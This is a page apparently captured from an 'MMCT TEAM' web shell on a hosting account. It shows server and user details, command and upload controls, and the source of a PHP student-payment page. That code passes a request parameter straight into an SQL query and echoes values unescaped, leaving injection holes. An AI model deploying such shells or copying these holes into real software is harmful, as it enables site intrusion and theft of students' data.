MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.156
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u490972518/domains/shmgov.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/shmgov.com/public_html/payment_reg.php
 
  <?php include('link/header.php');
  $app=$_REQUEST['app'];
	  
	  $sel="select * from course   order by id asc";
	$res=mysqli_query($conn,$sel);
	
	/////
	$sel1="select * from student  where application='$app' and status='' order by id asc";
	$res1=mysqli_query($conn,$sel1);
	$row1=mysqli_fetch_array($res1,MYSQLI_BOTH);
	
	$registration=$row1['registration_no'];
	$session=$row1['session'];
	$amount=$row1['amount'];
	$name=$row1['student_name'];
	$email=$row1['email'];
	$mobile=$row1['mobile'];
		$address=$row1['address'];
			$c_id=$row1['course'];
		
		 $sel="select * from course where id='$c_id'  order by id asc";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	
	if($row1)
	{
	  ;?>
<!-- <section class="main-heading-page">
	<div class="container">
		<div class="row">
			<div class="col-lg-12">
				<div class="box">
					<div class="heading">
						<p><span class="first">BCA-Bachelor of Computer Science</span><span class="second"><a href="index.php">Home</a> / BCA-Bachelor of Computer Science</span></p>
					</div>
				</div>
			</div>
		</div>
	</div>
</section> -->
<section class="new-heading">
	<h1>Payment Here </h1>
	<p><a href="index.php" class="black">Home</a> / Payment Area</p>
</section>
<section class="pages-tab">
	<div class="container container-padd-tb">
		<div class="row" >
			<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" >
			
				<div class="right-sidebar box-shadow" >
					<h3>Payment Area</h3>
					<div class="content" style='min-height:500px'>
					
  <div class="col-lg-4 col-md-4 col-sm-4">
  <form action='sabpaisarequest.php' method='POST'>
		  								<div class="form-group">
		  									<label>Registration No.*</label>
		  									 <input type="text" class="form-control" name="registration_no"  value='<?php echo $registration;?>' readonly required />
                            
										</div>
		  							</div>
									<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Student Name.*</label>
		  									 <input type="text" name="payerName" data-validation="custom"  value='<?php echo $name;?>'data-validation-regexp="^([a-zA-Z\s]+)$" data-validation-error-msg="Use Only  Alphabet" class="form-control" readonly required />
                            
										</div>
		  							</div>
									<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Mobile*</label>
		  									 <input type="number" class="form-control" name="payerMobile" value='<?php echo $mobile;?>' required />
                            
										</div>
		  							</div>
									<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Session*</label>
		  									 <input type="payerEmail" class="form-control" name="payerEmail" value='<?php echo $session;?>' readonly required />
                            
										</div>
		  							</div>
		  								<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Email*</label>
		  									 <input type="payerEmail" class="form-control" name="payerEmail" value='<?php echo $email;?>' required />
                            
										</div>
		  							</div>
									<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Address*</label>
											<textarea name='payerAddress' class="form-control"  required><?php echo $address;?></textarea>
		  									 
										</div>
		  							</div>
									<?php
			
			$unique_id = hexdec(substr(uniqid(),0,20));
			
				
			?>
			<input type="hidden" name="clientTxnId" value="<?php echo $unique_id;?>" />
			
					
				
				<input type="hidden" name="currency" value="INR"/>
				
				<input type="hidden" name="redirect_url" value="https://sssaup.com/sabpaisa_responce.php"/>
				
			 	
									<div class="col-lg-4 col-md-4 col-sm-4">
		  								<div class="form-group">
		  									<label>Amount*</label>
		  									 <input type="number" name="amount"  readonly class="form-control" value='<?php echo $row['fees']?>'  required />
                            
										</div>
		  							</div>
										
									<div class="col-lg-12">
	  							<center><button class="btn orange-background white" type="submit" name="submit">Submit</button></center>
	  						</div></form>
					</div>
				</div>
			</div>
		
		</div>
	</div>
</section>

  <?php }
  else
  {
      echo'<script>alert("Already Paid");window.location.href="print_form.php?registration_no= $registration_no&&session=$session";</script>'; 
  }
  ?>
         <?php include('link/footer.php')?></html>
    


MMCT - 2023